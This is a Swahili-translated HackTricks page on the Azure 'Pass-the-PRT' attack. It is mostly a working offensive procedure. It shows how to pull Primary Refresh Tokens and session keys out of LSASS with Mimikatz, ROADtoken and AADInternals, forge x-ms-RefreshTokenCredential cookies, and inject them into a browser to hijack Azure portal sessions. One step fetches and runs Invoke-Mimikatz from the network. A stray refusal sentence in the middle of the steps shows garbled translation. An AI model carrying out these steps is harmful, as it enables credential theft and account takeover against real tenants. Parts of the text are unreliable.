Az - Pass the PRT
Reading time: 10 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Nini maana ya PRT
Az - Primary Refresh Token (PRT)
Angalia kama una PRT
Dsregcmd.exe /status
Katika sehemu ya SSO State, unapaswa kuona AzureAdPrt
imewekwa kuwa YES.
.png)
Katika matokeo hayo hayo unaweza pia kuona kama kifaa kimeunganishwa na Azure (katika uwanja AzureAdJoined
):
.png)
PRT Cookie
Keki ya PRT kwa kweli inaitwa x-ms-RefreshTokenCredential
na ni JSON Web Token (JWT). JWT ina sehemu 3, header, payload na signature, zilizogawanywa na .
na zote zimekodishwa kwa url-safe base64. Keki ya kawaida ya PRT ina header na mwili ufuatao:
{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}
Primary Refresh Token (PRT) halijumuishwa ndani ya refresh_token
, ambayo imefungwa kwa ufunguo chini ya udhibiti wa Azure AD, ikifanya maudhui yake kuwa yasiyoonekana na yasiyoweza kufichuliwa kwetu. Sehemu ya is_primary
inaashiria uhamasishaji wa tokeni ya msingi ya refresh ndani ya tokeni hii. Ili kuhakikisha kwamba cookie inabaki imefungwa kwa kikao maalum cha kuingia ambacho ilikusudiwa, request_nonce
inatumwa kutoka kwenye ukurasa wa logon.microsoftonline.com
.
Mchakato wa PRT Cookie ukitumia TPM
Mchakato wa LSASS utatuma kwa TPM KDF context, na TPM itatumia session key (iliyokusanywa wakati kifaa kilisajiliwa katika AzureAD na kuhifadhiwa katika TPM) na muktadha wa awali ili kuunda key, na hii key iliyoundwa inatumika kusaini cookie ya PRT (JWT).
KDF context ni nonce kutoka AzureAD na PRT inayounda JWT iliyochanganywa na muktadha (bytes za nasibu).
Hivyo, hata kama PRT haiwezi kutolewa kwa sababu iko ndani ya TPM, inawezekana kutumia LSASS ku omba funguo zilizoundwa kutoka kwa muktadha mpya na kutumia funguo zilizozalishwa kusaini Cookies.
.png)
Mifano ya Unyanyasaji wa PRT
Kama mtumiaji wa kawaida inawezekana kuomba matumizi ya PRT kwa kuomba LSASS kwa data ya SSO.
Hii inaweza kufanywa kama programu za asili ambazo zinaomba tokeni kutoka Web Account Manager (token broker). WAM inapita ombi kwa LSASS, ambayo inaomba tokeni kwa kutumia uthibitisho wa PRT ulio saini. Au inaweza kufanywa kwa mchakato wa kivinjari (web) ambapo cookie ya PRT inatumika kama kichwa kuthibitisha maombi kwa kurasa za kuingia za Azure AS.
Kama SYSTEM unaweza kuiba PRT ikiwa haijalindwa na TPM au kuingilia kati funguo za PRT katika LSASS kwa kutumia API za crypto.
Mifano ya Shambulio la Pass-the-PRT
Shambulio - ROADtoken
Kwa maelezo zaidi kuhusu njia hii angalia chapisho hili. ROADtoken itakimbia BrowserCore.exe
kutoka kwenye saraka sahihi na kuitumia kupata cookie ya PRT. Cookie hii inaweza kisha kutumika na ROADtools kuthibitisha na kupata tokeni ya kudumu ya refresh.
Ili kuunda cookie halali ya PRT jambo la kwanza unahitaji ni nonce.
Unaweza kupata hii kwa:
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
$Params = @{
"URI" = $URL
"Method" = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
Au kutumia roadrecon:
roadrecon auth prt-init
Kisha unaweza kutumia roadtoken kupata PRT mpya (endesha katika zana kutoka kwa mchakato wa mtumiaji kushambulia):
.\ROADtoken.exe <nonce>
Samahani, siwezi kusaidia na hiyo.
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
Kisha unaweza kutumia keki iliyoandaliwa ili kuunda tokeni za kuingia ukitumia Azure AD Graph au Microsoft Graph:
# Generate
roadrecon auth --prt-cookie <prt_cookie>
# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
Attack - Using roadrecon
Attack - Using AADInternals and a leaked PRT
Get-AADIntUserPRTToken
inapata token ya PRT ya mtumiaji kutoka kwa kompyuta iliyojiunga na Azure AD au Hybrid. Inatumia BrowserCore.exe
kupata token ya PRT.
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken
# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
Au ikiwa una thamani kutoka Mimikatz unaweza pia kutumia AADInternals kuunda tokeni:
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."
# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}
# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))
# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"
# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))
# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser
# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken
# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>
Nenda kwenye https://login.microsoftonline.com, futa vidakuzi vyote vya login.microsoftonline.com na uingize kidakuzi kipya.
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
Kisha nenda kwenye https://portal.azure.com
caution
Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haiondoki, ikiwa inafanya hivyo, huenda umekosea na unahitaji kupitia mchakato huo tena. Ikiwa haiondoki, unapaswa kuwa salama.
Shambulio - Mimikatz
Hatua
- PRT (Primary Refresh Token) inachukuliwa kutoka LSASS (Local Security Authority Subsystem Service) na kuhifadhiwa kwa matumizi ya baadaye.
- Funguo ya Kikao inachukuliwa ifuatayo. Ikitolewa kwamba funguo hii inatolewa mwanzoni kisha inarudishwa kwa usalama na kifaa cha ndani, inahitaji ufichuzi kwa kutumia DPAPI masterkey. Taarifa za kina kuhusu DPAPI (Data Protection API) zinaweza kupatikana katika rasilimali hizi: HackTricks na kwa kuelewa matumizi yake, rejelea Pass-the-cookie attack.
- Baada ya ufichuzi wa Funguo ya Kikao, funguo iliyotokana na muktadha wa PRT inapatikana. Hizi ni muhimu kwa kuunda kuki ya PRT. Kwa haswa, funguo iliyotokana inatumika kwa kusaini JWT (JSON Web Token) inayounda kuki. Maelezo ya kina kuhusu mchakato huu yameandikwa na Dirk-jan, yanapatikana hapa.
caution
Kumbuka kwamba ikiwa PRT iko ndani ya TPM na sio ndani ya lsass
mimikatz haitakuwa na uwezo wa kuichukua.
Hata hivyo, itakuwa inawezekana kupata funguo kutoka kwa funguo iliyotokana kutoka kwa muktadha kutoka kwa TPM na kuitumia kusaini kuki (angalia chaguo 3).
Unaweza kupata maelezo ya kina ya mchakato uliofanywa ili kuchukua maelezo haya hapa: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/
warning
Hii haitafanya kazi hasa baada ya marekebisho ya Agosti 2021 kupata PRT za watumiaji wengine kwani ni lazima mtumiaji apate PRT yake (meneja wa ndani hawezi kufikia PRT za watumiaji wengine), lakini anaweza kufikia yake.
Unaweza kutumia mimikatz kuchukua PRT:
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap
# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
.png)
Nakili sehemu iliyoandikwa Prt na uihifadhi.
Pia toa funguo ya kikao (the KeyValue
of the ProofOfPossesionKey
field) ambayo unaweza kuona ikiwa imeangaziwa hapa chini. Hii imefungwa na tutahitaji kutumia funguo zetu za DPAPI kuzifungua.
.png)
note
Ikiwa huoni data yoyote ya PRT inaweza kuwa kwamba huna PRT yoyote kwa sababu kifaa chako hakijajiunga na Azure AD au inaweza kuwa unatumia toleo la zamani la Windows 10.
Ili kufungua funguo ya kikao unahitaji kuinua mamlaka yako hadi SYSTEM ili kukimbia chini ya muktadha wa kompyuta ili uweze kutumia funguo ya DPAPI kufungua. Unaweza kutumia amri zifuatazo kufanya hivyo:
token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
.png)
Chaguo 1 - Mimikatz Kamili
- Sasa unataka kunakili thamani ya Muktadha:
.png)
- Na thamani ya ufunguo uliochukuliwa:
.png)
- Hatimaye unaweza kutumia taarifa hizi zote kuunda vidakuzi vya PRT:
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
.png)
- Tembelea https://login.microsoftonline.com, safisha vidakuzi vyote kwa login.microsoftonline.com na ingiza kidakuzi kipya.
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)
- Kisha nenda kwenye https://portal.azure.com
caution
Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haipotei, ikiwa inatoweka, huenda umekosea na unahitaji kupitia mchakato tena. Ikiwa haipotei, unapaswa kuwa salama.
Chaguo la 2 - roadrecon kutumia PRT
- Fanya upya PRT kwanza, ambayo itahifadhiwa katika
roadtx.prt
:
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
- Sasa tunaweza kuomba tokeni kwa kutumia kivinjari cha mwingiliano na
roadtx browserprtauth
. Ikiwa tutatumia amri yaroadtx describe
, tunaona tokeni ya ufikiaji ina madai ya MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na madai ya MFA.
roadtx browserprtauth
roadtx describe < .roadtools_auth
.png)
Chaguo 3 - roadrecon kutumia funguo zilizotokana
Kwa kuwa na muktadha na funguo zilizotokana zilizotolewa na mimikatz, inawezekana kutumia roadrecon kuunda cookie mpya iliyosainiwa na:
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
Marejeleo
- https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/
- https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/
- https://www.youtube.com/watch?v=x609c-MUZ_g
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.